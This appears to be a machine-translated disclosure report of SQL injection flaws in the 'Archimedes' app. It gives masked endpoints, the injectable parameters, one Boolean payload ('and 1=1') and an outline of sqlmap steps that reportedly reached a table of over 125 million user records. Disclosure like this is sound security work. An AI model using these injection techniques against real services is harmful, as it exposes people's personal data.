Multiple SQL Injection SQLMap vulnerabilities (including more than 125 million user data) in the official Archimedes APP)

Multiple SQL Injection SQLMap vulnerabilities (including more than 125 million user data) in the official Archimedes APP)

SQL Injection for APP security

Target: Archimedes official APP

SQL Injection exists in the following areas:

I. ids in POST, error injection/Boolean blind injection/time blind Injection
 

POST http://**.**.**.**/v6/get_user_home.php HTTP/1.1Host: **.**.**.**User-Agent: ajmd/1.3.7 (Android 4.4.2; X9180; ffffffff-b544-a86f-1314-8e430033c587; ajmd)Accept-Encoding: gzip, deflateReferer: HomePage,DiscoveryContent-Length: 21Content-Type: application/x-www-form-urlencodedConnection: Keep-Alivelogin_status+=0&ids=1

Ii. Injection parameter u, Boolean blind Injection
 

http://**.**.**.**/v1/get_user_detail.php?u=571248

Payload:
 

http://**.**.**.**/v1/get_user_detail.php?u=571248 and 1=1

Iii. Injection parameter showType, Boolean blind note, same as above
 

http://**.**.**.**/v5/get_topic.php?showType=html&t=2334702

 

The following uses the first method to describe the usage.

1. SQLMap Vulnerability
 

2. List current database users
 

3. list all databases
 

4. list all the tables and find that the user table contains more than 125 million user data.
 

 

 

Solution:

Please kindly advise ~